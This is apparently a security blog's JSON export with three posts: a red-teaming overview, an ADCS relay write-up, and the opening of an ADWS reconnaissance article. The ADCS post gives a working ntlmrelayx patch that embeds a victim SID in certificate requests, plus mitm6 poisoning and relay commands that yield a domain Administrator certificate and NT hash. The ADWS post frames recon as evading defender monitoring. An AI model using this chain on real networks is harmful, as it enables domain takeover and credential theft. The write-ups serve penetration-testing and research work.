lock can indeed be forced, and opening the door to prove it. Red Teaming is hiring the thief, not telling the guards, and seeing if anyone notices the painting has walked out the front door waving.\nNone replaces the others. They complement each other, almost always in that order of maturity.\nWhat value does Red Teaming bring to the organization? At this point, the logical question is: okay, and what\u0026rsquo;s all this for, for me? The answer fits in one sentence: Red Teaming is where assumptions meet reality.\nEvery organization runs on two versions of itself. There\u0026rsquo;s the one it believes it is, the one of the pretty diagram, the written policies, the \u0026ldquo;this should be detected\u0026rdquo;; and there\u0026rsquo;s the one it really is when someone attacks it for real. The IS versus the SHOULD-BE.\nThe museum from the start believed it was in its should-be version: cameras, guards, armored case. Its is version was a guy in overalls walking out the door waving. Red Teaming is the only thing that shows you the exact distance between the two.\nFrom there, the value takes very tangible shape:\nKnowing your real security posture. Not the one in the compliance report, but the one measured in seconds and minutes: how long does it take you to detect an intrusion? how long to respond once detected? how long to fully recover? Those three times are worth more than any certificate hanging on the wall, because they\u0026rsquo;re the ones that truly count on the day of the real incident.\nTraining people, not just auditing machines. A Red Team exercise is the only occasion when your Blue Team and your employees face an attack that behaves like a real one… without the consequences of a real one. It\u0026rsquo;s the fire drill: when the real fire comes, they\u0026rsquo;ll have been through it already. They know which button to press, who to call, and what not to do in a panic. That isn\u0026rsquo;t learned by reading a procedure.\nUnderstanding the real impact. It\u0026rsquo;s one thing to say \u0026ldquo;we have a critical vulnerability on that server\u0026rdquo; and a very different thing to see it demonstrated that, pulling on that thread, someone reaches the customer database and walks off with the whole thing. Red Teaming translates abstract risk into concrete consequences: this is what could happen, this is what it would cost, this is what it would look like. And nothing moves management more than seeing the impact, not hearing about it.\nKnowing where to invest. Perhaps the most practical value of all. The security budget is always limited, and the biggest waste isn\u0026rsquo;t spending too little, but spending in the wrong place. An exercise shows you, with evidence, where they actually get in and which controls would have made the difference.\nDeep down, it all comes down to this: Red Teaming turns \u0026ldquo;we think we\u0026rsquo;re protected\u0026rdquo; into \u0026ldquo;we know exactly where we stand\u0026rdquo;. And from knowledge you make much better decisions than from assumption.\nWhen should you do Red Teaming? Here it\u0026rsquo;s worth being honest: Red Teaming is not for everyone. Or rather, it\u0026rsquo;s not for everyone yet.\nThere\u0026rsquo;s a maturity question you can\u0026rsquo;t skip. Hiring a Red Team when you don\u0026rsquo;t even have the basics covered is like hiring the thief to test a museum that hasn\u0026rsquo;t even installed the cameras. What for? You already know the result: they\u0026rsquo;re getting in, and you won\u0026rsquo;t learn anything you didn\u0026rsquo;t already know. You\u0026rsquo;ll have paid a considerable sum for someone to confirm the obvious.\nThe natural order usually goes like this. First, Vulnerability Assessment: know what you have and where you\u0026rsquo;re exposed. Then, Penetration Testing: check which of that is actually exploitable and patch it. And when those foundations are laid, when you already protect and start to detect and respond, it makes sense to step up to the next level and emulate a real adversary.\nSo, when is an organization really ready? The sign is fairly clear: when it has already implemented detection and response capabilities and wants to know if they actually work against an attacker that behaves like one. If you have a SOC, an EDR, incident response processes, people on call… and you\u0026rsquo;ve never tested them against someone who plays at hiding, you\u0026rsquo;re at exactly the right point. Red Teaming is what separates the \u0026ldquo;on paper, this should fire\u0026rdquo; from the \u0026ldquo;it fired, and we reacted in eleven minutes\u0026rdquo;.\nAnd one final note, which ties back to something we already said: this is not an audit you pass once and file away. The value isn\u0026rsquo;t in the isolated exercise, but in the cycle it sets in motion: you attack, you learn, you fix, you reinforce… and you attack again to confirm that this time it holds. Each loop, the organization is a little harder to compromise and a little faster to react. Red Teaming isn\u0026rsquo;t a snapshot of your security posture: it\u0026rsquo;s the engine that makes it mature.\nSo the question isn\u0026rsquo;t \u0026ldquo;can I afford a Red Team?\u0026rdquo;, but \u0026ldquo;is my organization at a point where an exercise like this would reveal something I don\u0026rsquo;t know?\u0026rdquo;. The day the answer is yes, the time has come.\nApproaches: Zero Knowledge and Assumed Breach Not all Red Team exercises start in the same place. Depending on where the attacker begins, we talk about two major approaches. It\u0026rsquo;s not a minor technical detail: it conditions what gets tested and, above all, where the time is spent.\nZero Knowledge. Also called \u0026ldquo;black box\u0026rdquo;. The Red Team starts from the outside, with no information and no access at all, just like a real attacker who has just picked their victim. They have to do everything: research the organization, find a crack, get that first entry point and, from there, advance toward the objective. It\u0026rsquo;s the scenario most faithful to a real attack from scratch… but also the slowest and most expensive.\nAssumed Breach. Here you start from an assumption: the attacker is already inside. They\u0026rsquo;re granted an initial access point, a compromised employee laptop, valid credentials, a position on the network, and the exercise starts from there. Instead of spending weeks on how to get in, you start on day one working on what happens after getting in.\nAnd here the typical objection comes up: \u0026ldquo;if you hand them access, you\u0026rsquo;re making it easy, that doesn\u0026rsquo;t count\u0026rdquo;. It\u0026rsquo;s exactly the opposite, and it\u0026rsquo;s worth understanding why.\nBecause there\u0026rsquo;s an uncomfortable truth in security, and it\u0026rsquo;s not some snake-oil salesman who says it: the NSA itself said it. In 2010, Debora Plunkett, then head of the agency\u0026rsquo;s Information Assurance Directorate, summed it up bluntly: \u0026ldquo;There\u0026rsquo;s no such thing as secure anymore\u0026rdquo;, and that\u0026rsquo;s why \u0026ldquo;we have to build our systems on the assumption that adversaries will get in\u0026rdquo;. She even warned that \u0026ldquo;the most sophisticated adversaries are going to go unnoticed on our networks\u0026rdquo;.\nIf the agency with some of the best resources on the planet starts from that premise, it\u0026rsquo;s reasonable for the rest to do the same. The attacker, sooner or later, gets in. It doesn\u0026rsquo;t matter how much you invest in the perimeter: some user will end up clicking where they shouldn\u0026rsquo;t, some credential will leak, some exposed service will have its bad day. Assuming nobody will ever get in is not a strategy, it\u0026rsquo;s an illusion. The truly important question isn\u0026rsquo;t whether they\u0026rsquo;ll get in, but what happens when they do: how far can they go? how long does it take you to notice? can they go from the reception laptop to full domain control?\nThat\u0026rsquo;s why taking initial access for granted doesn\u0026rsquo;t subtract value from the exercise: it concentrates it where it matters most. The value is in time, and time is limited. Spending it all proving, once again, that a first access can be obtained, something we already know happens, is wasting it. It\u0026rsquo;s far more useful to invest it in what\u0026rsquo;s critical: lateral movement, privilege escalation, reaching the \u0026ldquo;painting\u0026rdquo; and, meanwhile, measuring whether the defense notices anything.\nThere\u0026rsquo;s also a powerful conclusion hidden here. If in an Assumed Breach exercise the Red Team reaches its objectives starting from a small foothold, that means anyone who gets that first foot in the door can compromise the entire organization. And getting that first foot in, as we\u0026rsquo;ve said, is only a matter of time. That\u0026rsquo;s an actionable conclusion; \u0026ldquo;they didn\u0026rsquo;t manage to get in from outside in two weeks\u0026rdquo; is much less so.\nBack to the museum one last time: Zero Knowledge is seeing whether the thief manages to sneak into the building. Assumed Breach is something more interesting: take for granted that he\u0026rsquo;s already inside, dressed as a cleaner, and ask what truly matters: once inside, what stops him from walking out with the painting?\nHow is the success of an exercise measured? If you\u0026rsquo;ve made it this far, you already sense that the question \u0026ldquo;did they get in or not?\u0026rdquo; is the worst possible yardstick. And yet it\u0026rsquo;s the first one almost everyone asks when an exercise ends.\nBecause a Red Team\u0026rsquo;s success is not measured by whether they compromised the organization. That, at this point in the article, we take for granted: with enough time, they will. Measuring the exercise by the \u0026ldquo;yes, they got in\u0026rdquo; is like judging a fire drill by whether the fire caught. Of course it caught, we lit it on purpose. The question is what happened next.\nWhat truly counts is this:\nThe demonstrated impact. It\u0026rsquo;s not the same to say \u0026ldquo;they reached an unimportant server\u0026rdquo; as \u0026ldquo;they reached the customer database and proved they could exfiltrate the whole thing\u0026rdquo;. The value of an exercise is in how much real damage it was able to prove: how far it went and what that would have meant for the business. Impact translates the exercise into a language management understands.\nThe objectives: which ones, and above all how. Before the exercise, concrete goals were set, the \u0026ldquo;painting\u0026rdquo;. Were they reached? But the most important question isn\u0026rsquo;t whether, but how: by which path, exploiting which flaw, which controls were evaded and which, had they worked, would have stopped it.\nThe detection and reaction of the defense. Here\u0026rsquo;s the heart of the matter, and it\u0026rsquo;s where we return to the museum\u0026rsquo;s camera room: the footage was there, showing the heist live, but the room was empty. Having the capability is worth nothing if nobody uses it. That\u0026rsquo;s why what\u0026rsquo;s really measured is the Blue Team\u0026rsquo;s response: did they detect anything? what exactly, and what went unnoticed? how long did it take them to realize? did they react well or did panic set in? An exercise where the Red Team reaches all its objectives but the Blue detects them and kicks them out halfway is, in reality, good news.\nThe actionable data. And all of the above has to land in something concrete and executable. A good exercise doesn\u0026rsquo;t end with a \u0026ldquo;we beat you\u0026rdquo;, but with a clear list of what to change, in what order and why. If, when the report closes, the organization doesn\u0026rsquo;t know exactly what to do on Monday morning, the exercise has failed no matter how technically brilliant it was.\nDeep down, measuring a Red Team well is about flipping the question. Not \u0026ldquo;did the attacker get in?\u0026rdquo; (spoiler: yes), but \u0026ldquo;how prepared were we for the day that attacker is real?\u0026rdquo;. That\u0026rsquo;s the only metric that truly matters. Everything else is ticking a box.\nWhat is Purple Team? Before wrapping up, it\u0026rsquo;s worth clarifying a term that constantly crosses paths with all this and causes quite a bit of confusion: the Purple Team.\nFirst, and most important: the Purple Team is not a third type of exercise, nor an alternative to the Red Team. You don\u0026rsquo;t choose between \u0026ldquo;doing a Red Team\u0026rdquo; or \u0026ldquo;doing a Purple Team\u0026rdquo;. It\u0026rsquo;s rather a layer of collaboration that can be added to any exercise to multiply what\u0026rsquo;s learned from it.\nAnd what does it consist of in practice? Sitting both sides in the same room. The Red Team executes a technique and, right then, you check what the Blue Team saw: did any alert fire? in which console? with what level of detail? If nothing was detected, the defense is tuned right there and you try again to confirm that now it does fire.\nThe value is in two things:\nSharing intelligence, in both directions. The Red Team shows how an adversary really behaves, what tools it uses, what traces it leaves, where it moves; and the Blue Team shows what is and isn\u0026rsquo;t visible from the other side of the screens. Each learns from the other\u0026rsquo;s knowledge. The benefit is bidirectional, and that\u0026rsquo;s why it usually leaves more of a training mark than a blind exercise.\nComparing what was executed against what was detected. This is the Purple Team\u0026rsquo;s star metric: putting side by side the list of actions the Red Team performed and the list of actions the Blue Team detected. The gaps between the two, what happened but nobody saw, are, literally, the map of your detection\u0026rsquo;s blind spots. There\u0026rsquo;s no more direct way to know where your visibility gaps are.\nPut another way: if a classic Red Team tells you how well prepared you are for a real attack, the Purple approach also helps you close the gaps on the fly, turning each action of the exercise into an immediate lesson for the defense. That\u0026rsquo;s why, more than an alternative, it\u0026rsquo;s an added value that almost always deserves consideration.\nConclusions We started with a museum that believed itself impregnable and ended up watching its most valuable piece walk out the front door, in broad daylight, hidden under some rags. The technology didn\u0026rsquo;t fail: the people who weren\u0026rsquo;t watching failed, and the processes that left keys hanging failed. And, above all, an idea failed: believing yourself secure without ever having checked.\nIf there\u0026rsquo;s anything to take away from all this, it\u0026rsquo;s three things.\nThe first: bring in the adversary\u0026rsquo;s perspective. You can\u0026rsquo;t design a good defense thinking only as a defender. You have to sit in the attacker\u0026rsquo;s chair and seriously ask how they\u0026rsquo;d get in, what they\u0026rsquo;d look for and which way they\u0026rsquo;d go. A security plan built without that perspective defends the front door while someone climbs in through the air duct dressed as maintenance. Red Teaming is, above all, that perspective: thinking like the adversary to anticipate the threat before it\u0026rsquo;s real.\nThe second: understand what it really gives you, and use it. Red Teaming isn\u0026rsquo;t winning, nor getting in, nor showing off. It\u0026rsquo;s a means to know yourself better: to know how long you take to detect, how you react, where your blind spots are and what\u0026rsquo;s worth investing in. But all that information is worth nothing if it ends up in a drawer. The value isn\u0026rsquo;t in the exercise, but in what the organization does with its conclusions on Monday morning.\nThe third: distrust assumptions. \u0026ldquo;If the user doesn\u0026rsquo;t click, there\u0026rsquo;s no breach.\u0026rdquo; \u0026ldquo;We have an EDR, we\u0026rsquo;re covered.\u0026rdquo; \u0026ldquo;We comply with ISO, we\u0026rsquo;re secure.\u0026rdquo; All these myths share the same root: confusing what should happen with what actually happens. Even the NSA assumes the adversary will get in. The question is never whether you\u0026rsquo;re secure on paper, but whether you are when someone seriously puts it to the test.\nAnd that\u0026rsquo;s, in the end, the whole idea. The best way to know whether your museum holds isn\u0026rsquo;t to admire how thick the display case is. It\u0026rsquo;s to hire the thief, one of the good ones, one who plays on your team, and let him try. Better to discover the open air duct with him than with the one who doesn\u0026rsquo;t give the painting back.\nBecause the real attacker, that one, doesn\u0026rsquo;t warn you. And he certainly doesn\u0026rsquo;t say goodbye waving.\nThis time they do catch him. Same thief, better harnesses… but now there\u0026rsquo;s detection and response: the lasers fire, the SOC watches the cameras and the guards react. The measures learned in the Red Team, working.\nReferences Vest, J. \u0026amp; Tubberville, J. — Red Team Development and Operations: A Practical Guide. (Definition of Red Teaming + general framework of the article.)\nNIST — Definitions of Vulnerability Assessment (SP 800-30), Penetration Testing (SP 800-115) and Red Team Exercise (CNSSI 4009). Functions of the NIST Cybersecurity Framework: Identify, Protect, Detect, Respond, Recover.\nDebora Plunkett (NSA) — The Atlantic / Government Executive cybersecurity forum, Dec 16, 2010. \u0026ldquo;There\u0026rsquo;s no such thing as secure anymore\u0026rdquo; / \u0026ldquo;We have to build our systems on the assumption that adversaries will get in.\u0026rdquo; eWeek — NSA: Assume Attackers Will Compromise Networks\nBangladesh Bank heist (Lazarus group, 2016) — BBC News, The Lazarus heist: How North Korea almost pulled off a billion-dollar hack (2021): bbc.com. Official attribution in the U.S. Department of Justice indictment (2021): justice.gov.\n","permalink":"https://josupalacios99.github.io/blog/en/posts/red-teaming-pensar-como-el-adversario/","summary":"What Red Teaming is (and what it isn\u0026rsquo;t), how it differs from a vulnerability assessment and a pentest, when it makes sense, and how its success is measured.","title":"Red Teaming: think like the adversary to anticipate the threat"},{"content":"The scenario Let\u0026rsquo;s start with the specific case that kicked all this off. On an engagement we ran into a certificate template vulnerable to ESC1: it let the requester specify an arbitrary Subject Alternative Name (ENROLLEE_SUPPLIES_SUBJECT) and was valid for client authentication. The ESC1 playbook is well known: you request a certificate putting the domain Administrator\u0026rsquo;s UPN in the SAN and, with that certificate, you authenticate as them to pull their TGT and NT hash.\nThere was just one problem. The CA restricted who could enroll on that template: enrollment rights weren\u0026rsquo;t open to Domain Users but limited to a specific group, and we had neither the password nor the hash of any account in that group. The template was exploitable, but we had nothing to request the certificate with.\nThat\u0026rsquo;s where relay comes in. If you can\u0026rsquo;t request the certificate yourself, have someone who can do it for you. With mitm6 we poisoned IPv6/DNS resolution on the segment to sit in the middle and capture the NTLM authentication of an account with enrollment rights; that authentication is relayed to the CA and a certificate with the Administrator\u0026rsquo;s SAN is requested on its behalf. Abusing ADCS to escalate in Active Directory has been standard since Certified Pre-Owned, the Will Schroeder and Lee Christensen research that catalogued these abuse paths, the ones now known as ESC.\nWhat has changed is the landscape. Microsoft has been hardening the binding between certificates and AD accounts, and techniques that worked perfectly a year ago now return errors that aren\u0026rsquo;t immediately obvious. The one we hit in this case was this:\nThe certificate arrived. The CA issued it. The PFX is on disk. But authentication fails.\nKB5014754 and certificate mapping hardening To understand the error you need to understand what changed. In May 2022, Microsoft released KB5014754, an update that modifies how domain controllers map a certificate to a user account during Kerberos PKINIT authentication.\nThe classic mapping was weak by design: the DC took the UPN from the subjectAltName field of the certificate and searched AD for the account whose userPrincipalName matched. This process doesn\u0026rsquo;t verify that the authenticating account is actually the one listed in the certificate; it just does a name lookup. The attack vector is direct: if you can get the CA to issue a certificate with SAN: UPN=Administrator@corp.local, you can authenticate as Administrator even though the CA handed it to you because you were a different user with enrollment permissions.\nKB5014754 introduces a strong mapping mechanism. When active, the DC requires the certificate to contain the SID of the account that will use it, embedded in a Microsoft-proprietary extension. If the SID is absent, or if it doesn\u0026rsquo;t match the account\u0026rsquo;s real SID in AD, authentication is rejected. The exact behavior depends on the StrongCertificateBindingEnforcement attribute on the DC:\n0: no enforcement, weak mapping, pre-KB5014754 behavior. 1: compatibility mode, accepts without SID but emits an audit event. 2: full enforcement, rejects if SID is missing or doesn\u0026rsquo;t match. Since February 2025, the default on updated DCs is 2. In practice, any environment with patched DCs enforces this fully.\ncertipy v5, released by Oliver Lyak in 2024, added its own SID validation before sending the request to the KDC. The \u0026ldquo;Object SID mismatch\u0026rdquo; error we see above is certipy\u0026rsquo;s local check, which detects that the certificate doesn\u0026rsquo;t contain the SID extension and aborts before making the network call. The behavior is correct: if the cert reaches the DC without a SID, the DC would reject it anyway. certipy just fails faster and with a clearer message.\nThe missing extension The extension that resolves the problem has OID 1.3.6.1.4.1.311.25.2, called szOID_NTDS_CA_SECURITY_EXT in Microsoft\u0026rsquo;s nomenclature. It contains the certificate subject\u0026rsquo;s SID encoded as a nested ASN.1 structure.\nThe ASN.1 hierarchy of the extension is:\n1 2 3 4 5 6 7 8 9 10 11 12 13 Extension { extnID: OID(1.3.6.1.4.1.311.25.2) extnValue: OCTET STRING { GeneralNames ::= SEQUENCE { GeneralName ::= [0] CONSTRUCTED { -- otherName type-id: OID(1.3.6.1.4.1.311.25.2.1) -- NTDS_OBJECTSID value: [0] EXPLICIT { OCTET STRING(SID as UTF-8) } } } } } The OID 1.3.6.1.4.1.311.25.2.1 is szOID_NTDS_OBJECTSID. The unexpected part is the value: it\u0026rsquo;s not the SID in binary format, but the string representation (S-1-5-21-...) encoded as UTF-8 inside an OCTET STRING. This can be verified by dumping a certificate issued by a Windows CA, and it\u0026rsquo;s the same encoding used by tools like Certify or Certipy.\nIn a normal enrollment the CA itself generates this extension from the authenticated requester, not the client. The attack hinges on a configuration nuance: in the analyzed scenario the CA copies the szOID_NTDS_CA_SECURITY_EXT extension from the CSR into the issued certificate without verifying that the SID belongs to the authenticated account. That missing validation is precisely what makes the attack viable. Worth being clear about it: it\u0026rsquo;s not that KB5014754 can be bypassed in general, but that this CA trusts a value it should be generating itself. When the DC receives that certificate during PKINIT, it extracts the SID from the extension and verifies it matches the SID of the authenticating account.\nWhy ntlmrelayx doesn\u0026rsquo;t include it ntlmrelayx has two ADCS attack paths:\nHTTP (ESC8): via httpattacks/adcsattack.py, which relays NTLM authentication against the CA\u0026rsquo;s web endpoint (/certsrv/certfnsh.asp). RPC (ESC11): via rpcattack.py, using the MS-ICPR protocol over DCE/RPC directly against the IcertPassage interface. In both cases, CSR generation falls to ADCSAttack.generate_csr():\n1 2 3 4 5 6 7 8 9 10 11 12 13 @staticmethod def generate_csr(key, CN, altName, csr_type=crypto.FILETYPE_PEM): req = crypto.X509Req() if CN: req.get_subject().CN = CN if altName: req.add_extensions([crypto.X509Extension( b\u0026#34;subjectAltName\u0026#34;, False, b\u0026#34;otherName:1.3.6.1.4.1.311.20.2.3;UTF8:%b\u0026#34; % altName.encode() )]) req.set_pubkey(key) req.sign(key, \u0026#34;sha256\u0026#34;) return crypto.dump_certificate_request(csr_type, req) It uses pyOpenSSL to build the CSR. The problem isn\u0026rsquo;t that OpenSSL can\u0026rsquo;t encode the OID (it encodes arbitrary OIDs just fine), but that pyOpenSSL\u0026rsquo;s high-level API for CSR extensions is very limited: it can\u0026rsquo;t build an extension with the nested ASN.1 structure that szOID_NTDS_CA_SECURITY_EXT requires, a Microsoft-proprietary OID outside the X.509 standard.\nThe result: ntlmrelayx gets the certificate, the CA issues it with the correct UPN in the SAN, but without the 1.3.6.1.4.1.311.25.2 extension. The DC rejects it because there\u0026rsquo;s no SID. certipy rejects it even before reaching the DC.\nThe fix: manual DER encoding + UnrecognizedExtension The cryptography library (distinct from pyOpenSSL, though they coexist in the same environment) offers x509.UnrecognizedExtension, which allows adding arbitrary extensions to a CSR or certificate by passing raw DER bytes directly. It doesn\u0026rsquo;t rely on the high-level API: we build the ASN.1 structure by hand and the library embeds it as-is.\nTo use it, the CertificateSigningRequest must be built with cryptography instead of pyOpenSSL, and the extension value must be encoded by hand.\nDER TLV (Tag-Length-Value) encoding is mechanical. A minimal helper function:\n1 2 3 4 5 6 7 8 def _tlv(tag, value): n = len(value) if n \u0026lt; 0x80: return bytes([tag, n]) + value elif n \u0026lt; 0x100: return bytes([tag, 0x81, n]) + value else: return bytes([tag, 0x82, (n \u0026gt;\u0026gt; 8) \u0026amp; 0xff, n \u0026amp; 0xff]) + value And for encoding OIDs, where the first component is compressed as 40 * a + b and the rest are encoded in base 128 with the high bit set on all octets except the last:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 def _oid_encode(oid_str): parts = [int(x) for x in oid_str.split(\u0026#39;.\u0026#39;)] first = 40 * parts[0] + parts[1] def arc(n): if n \u0026lt; 128: return bytes([n]) r = [] while n: r.insert(0, n \u0026amp; 0x7f) n \u0026gt;\u0026gt;= 7 for i in range(len(r) - 1): r[i] |= 0x80 return bytes(r) c = arc(first) for p in parts[2:]: c += arc(p) return _tlv(0x06, c) With those two primitives, the SID extension becomes:\n1 2 3 4 5 6 7 8 9 10 def _encode_sid_ext(sid): \u0026#34;\u0026#34;\u0026#34; Encodes the value of szOID_NTDS_CA_SECURITY_EXT (1.3.6.1.4.1.311.25.2). Structure: GeneralNames → OtherName[NTDS_OBJECTSID] → [0] EXPLICIT { OCTET STRING(sid) } \u0026#34;\u0026#34;\u0026#34; oct_s = _tlv(0x04, sid.encode(\u0026#39;utf-8\u0026#39;)) # OCTET STRING val = _tlv(0xa0, oct_s) # [0] EXPLICIT oid = _oid_encode(\u0026#34;1.3.6.1.4.1.311.25.2.1\u0026#34;) # NTDS_OBJECTSID on = _tlv(0xa0, oid + val) # [0] CONSTRUCTED (OtherName) return _tlv(0x30, on) # GeneralNames SEQUENCE And the UPN in the SAN, which also needs manual encoding when using the cryptography builder:\n1 2 3 4 5 6 def _encode_upn_san(upn): utf8 = _tlv(0x0c, upn.encode(\u0026#39;utf-8\u0026#39;)) # UTF8String val = _tlv(0xa0, utf8) # [0] EXPLICIT oid = _oid_encode(\u0026#34;1.3.6.1.4.1.311.20.2.3\u0026#34;) # msUPN on = _tlv(0xa0, oid + val) # [0] CONSTRUCTED (OtherName) return _tlv(0x30, on) # GeneralNames SEQUENCE The patched version of generate_csr keeps the original no-SID path intact and adds an alternative path when altSid is provided:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 @staticmethod def generate_csr(key, CN, altName, csr_type=crypto.FILETYPE_PEM, altSid=None): LOG.info(\u0026#34;Generating CSR...\u0026#34;) if altSid is None: # Original path — pyOpenSSL, no SID extension req = crypto.X509Req() if CN: req.get_subject().CN = CN if altName: req.add_extensions([crypto.X509Extension( b\u0026#34;subjectAltName\u0026#34;, False, b\u0026#34;otherName:1.3.6.1.4.1.311.20.2.3;UTF8:%b\u0026#34; % altName.encode() )]) req.set_pubkey(key) req.sign(key, \u0026#34;sha256\u0026#34;) return crypto.dump_certificate_request(csr_type, req) # SID path — cryptography + UnrecognizedExtension private_key = key.to_cryptography_key() builder = x509.CertificateSigningRequestBuilder() builder = builder.subject_name(x509.Name([ x509.NameAttribute(NameOID.COMMON_NAME, CN or \u0026#34;\u0026#34;) ])) if altName: builder = builder.add_extension( x509.UnrecognizedExtension( oid=ObjectIdentifier(\u0026#34;2.5.29.17\u0026#34;), value=_encode_upn_san(altName) ), critical=False ) builder = builder.add_extension( x509.UnrecognizedExtension( oid=ObjectIdentifier(\u0026#34;1.3.6.1.4.1.311.25.2\u0026#34;), value=_encode_sid_ext(altSid) ), critical=False ) csr = builder.sign(private_key, hashes.SHA256(), default_backend()) if csr_type == crypto.FILETYPE_PEM: return csr.public_bytes(Encoding.PEM) else: return csr.public_bytes(Encoding.DER) Two things to note. First, key.to_cryptography_key() converts the pyOpenSSL key to a cryptography object, which is what the builder expects. The key type is compatible; only the wrapper changes. Second, x509.UnrecognizedExtension in cryptography \u0026gt;= 36.0 can be used in CSRs as well as certificates. The version in impacket\u0026rsquo;s pipx environment is 46.x, so there are no compatibility issues.\nThe patch injection mechanics (during development) Before integrating the change into the fork, the patch had to be validated against a real impacket install without touching its files. The quickest way to test it was to inject the patched class at runtime. I\u0026rsquo;m documenting it because it\u0026rsquo;s a handy technique for iterating on any ntlmrelayx attack without reinstalling anything.\nThe trickiest part isn\u0026rsquo;t the code itself but where to hook it. ntlmrelayx\u0026rsquo;s attacks/__init__.py dynamically imports every module in the directory at startup and registers the attack classes in the PROTOCOL_ATTACKS dictionary. This means a simple late monkey-patch of sys.modules isn\u0026rsquo;t enough: the dictionary already has the original class registered before we can replace it.\nThe clean solution: let ntlmrelayx\u0026rsquo;s normal startup happen, wait until PROTOCOL_ATTACKS is populated, and then replace the \u0026quot;RPC\u0026quot; entry with the patched class:\n1 2 3 4 from impacket.examples.ntlmrelayx.attacks import PROTOCOL_ATTACKS # Loads the patched RPCAttack class from a local file PROTOCOL_ATTACKS[\u0026#34;RPC\u0026#34;] = _load_patched_rpcattack() Where _load_patched_rpcattack() uses importlib.util.spec_from_file_location to load the patched module without touching impacket\u0026rsquo;s package system. It works because PROTOCOL_ATTACKS stores classes, not instances: RPCAttack isn\u0026rsquo;t instantiated until a connection arrives at runtime, long after import, so replacing the dictionary entry before the first relay arrives is enough.\nOnce the patch was validated this way, the change was integrated directly into the impacket fork. That\u0026rsquo;s why the PoC below runs with a plain ntlmrelayx.py and the --altSid flag, no wrapper or injection: the code now lives inside the tool itself.\nPoC The full chain at a glance, before getting into the commands:\n1. Get the target user\u0026rsquo;s SID The first thing we need is the SID of the account we\u0026rsquo;re going to impersonate (here, the Administrator), because that\u0026rsquo;s exactly what has to be embedded in the certificate. From any domain account:\n1 2 3 4 5 # With impacket impacket-lookupsid \u0026#39;DOMAIN/user:pass\u0026#39;@DC-IP | grep -i \u0026#34;domain admin\\|administrator\\| 500$\u0026#34; # With rpcclient rpcclient -U \u0026#39;user%pass\u0026#39; DC-IP -c \u0026#34;lookupnames Administrator\u0026#34; 2. Start the relay With the SID in hand, we launch the patched ntlmrelayx pointed at the CA, passing the Administrator\u0026rsquo;s SAN along with its SID (--altSid):\n1 2 3 4 5 6 7 8 9 10 sudo ntlmrelayx.py -6 \\ -t rpc://CA.corp.local \\ -rpc-mode ICPR \\ -icpr-ca-name \u0026#39;CORP-CA\u0026#39; \\ --adcs \\ --template VulnTemplate \\ --altname \u0026#39;Administrator@corp.local\u0026#39; \\ --altSid \u0026#39;S-1-5-21-XXXXXXXXX-XXXXXXXXX-XXXXXXXXX-500\u0026#39; \\ --no-multirelay \\ -smb2support 3. Coerce the authentication with mitm6 All that\u0026rsquo;s left is for an account with enrollment permissions to authenticate against the relay. With mitm6 we poison IPv6/DNS resolution on the segment to trigger it:\n1 sudo mitm6 -i eth0 -d corp.local When it bites, the relay does its part: it generates the CSR with the SID extension embedded, the CA issues the certificate with it, and you get the PFX on disk. That\u0026rsquo;s the piece that was missing, a certificate with the correct SID.\nFrom there, authentication is the usual flow. With that PFX, certipy auth performs PKINIT against the DC and, since the SID now matches, it validates and returns the NT hash of the impersonated user:\nCode and PR The full patch is available in my impacket fork, branch feature/adcs-sid-extension, and has been submitted as a pull request to the upstream repository at fortra/impacket#2222.\nThe four modified files relative to the original are:\nimpacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py: DER helpers + generate_csr with altSid path impacket/examples/ntlmrelayx/attacks/rpcattack.py: passes altSid to generate_csr impacket/examples/ntlmrelayx/utils/config.py: altSid field in NTLMRelayxConfig impacket/examples/ntlmrelayx.py: --altSid argument References Certified Pre-Owned — Schroeder \u0026amp; Christensen, SpecterOps KB5014754 — Certificate-based authentication changes on Windows domain controllers certipy v5 — ly4k impacket — fortra ESC11 — ICPR relay — Compass Security ","permalink":"https://josupalacios99.github.io/blog/en/posts/adcs-ntlmrelayx-sid-extension/","summary":"ADCS relay with ntlmrelayx generates certificates that certipy v5 rejects with \u0026lsquo;Object SID mismatch\u0026rsquo;. The root cause is KB5014754: modern DCs require the certificate to contain the user\u0026rsquo;s SID in a Microsoft-proprietary extension. ntlmrelayx doesn\u0026rsquo;t include it. Here\u0026rsquo;s why and how to fix it.","title":"ntlmrelayx and ADCS: when the certificate arrives but doesn't work"},{"content":"Introduction If you operate in Active Directory, the first move after landing in the domain is one you know by heart: recon. Users, groups, computers, trusts, ACLs\u0026hellip; all of it has to be mapped before making a move. And the pattern is almost always the same: dump the directory and feed it into BloodHound to find the shortest path to compromising the domain. Underneath, though, all that reconnaissance boils down to a single thing: LDAP queries against the domain controller (DC) on ports 389 and 636.\nThe problem is that the Blue Team knows that script too. LDAP is today one of the most monitored things in the domain: there is query logging on the client and on the DC itself, and products like Microsoft Defender for Identity, or an EDR like CrowdStrike, watch recon patterns. On top of that telemetry, Sigma-style rules catch the usual suspects: the per-object noise, the wildcard filters that give away a mass sweep, a query that is too broad coming from a low-privilege account. Collecting over LDAP means playing on the field where the defender has spent years setting up cameras.\nIn this case, the operator does the logical thing when a channel is saturated with detection: look for an alternative. And there is one. It has been on every DC since 2008, it understands exactly the same LDAP filters, and it generally has almost no defensive coverage on it, to the point that only organizations with very high maturity manage to detect it. It is called Active Directory Web Services, ADWS, and it listens on port 9389.\nThis article is not about pressing a tool\u0026rsquo;s button, it is about understanding what happens underneath. We are going to take ADWS apart layer by layer: how it communicates, why it understands LDAP queries if no LDAP travels over the wire, where its OPSEC comes from and, above all, where it breaks. Understanding the why is what lets you adapt the technique the day the defender starts watching 9389 too.\nAnd to bring it down to earth, we will close with the practical part: ADWSHound, an ingestor for BloodHound CE written in Python that collects directory information by speaking ADWS directly, built with several OPSEC considerations in mind. The same view of the domain a classic collection would give you, but through the door almost nobody watches.\nWhat ADWS is Active Directory Web Services (ADWS) is a WCF-based service that Microsoft introduced in Windows Server 2008 R2 and that is installed and enabled by default on every domain controller. It exposes a network interface to query and manage the directory, both AD DS and AD LDS instances, and listens on TCP port 9389. It is not an optional component nor one commonly disabled: it is part of the directory role and is present on any modern DC.\nADWS is the transport that modern administration tools use. The ActiveDirectory PowerShell module (Get-ADUser, Get-ADComputer, Get-ADObject, etc.) and the ADAC console (dsac.exe, Active Directory Administrative Center) do not emit LDAP over the network: they direct their queries to ADWS. When you run 